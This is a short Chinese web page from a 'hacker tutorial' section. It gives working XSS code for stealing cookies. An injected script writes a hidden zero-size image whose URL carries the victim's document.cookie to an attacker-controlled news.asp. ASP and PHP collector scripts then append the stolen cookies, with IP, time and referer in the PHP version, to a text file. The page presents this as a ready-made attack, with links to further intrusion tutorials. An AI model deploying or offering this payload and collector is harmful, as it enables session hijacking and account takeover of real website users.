手机
当前位置:查字典教程网 >网络安全 >黑客教程 >asp php XSS获取cookie的代码
asp php XSS获取cookie的代码
摘要:document.write('');news.asp代码:PHP版代码:

<script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>

news.asp代码:

<%

msg=Request.ServerVariables("QUERY_STRING")

testfile=Server.MapPath("cook.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.Writeline(""&msg& "")

thisfile.close

set fs = nothing

%>

PHP版代码:

<?php

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$time=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cook.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: '

.$time. '<br> Referer: '.$referer.'<br><br><br>');

fclose

?>

【asp php XSS获取cookie的代码】相关文章:

WordPress 2.6.1 SQL Column Truncation Vulnerability

SQL语句导入导出大全

教你SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

高效的DDoS攻击探测与分析工具:FastNetMon

怎样隔离ARP攻击源 电脑受到ARP断网攻击应对策略

远程控制木马最初、后来和现在面临的问题

MYSQL数据库注射精华

教你如何手工注入猜解语句

一句话木马(asp,php) 总结篇

提权的一种方法

精品推荐
分类导航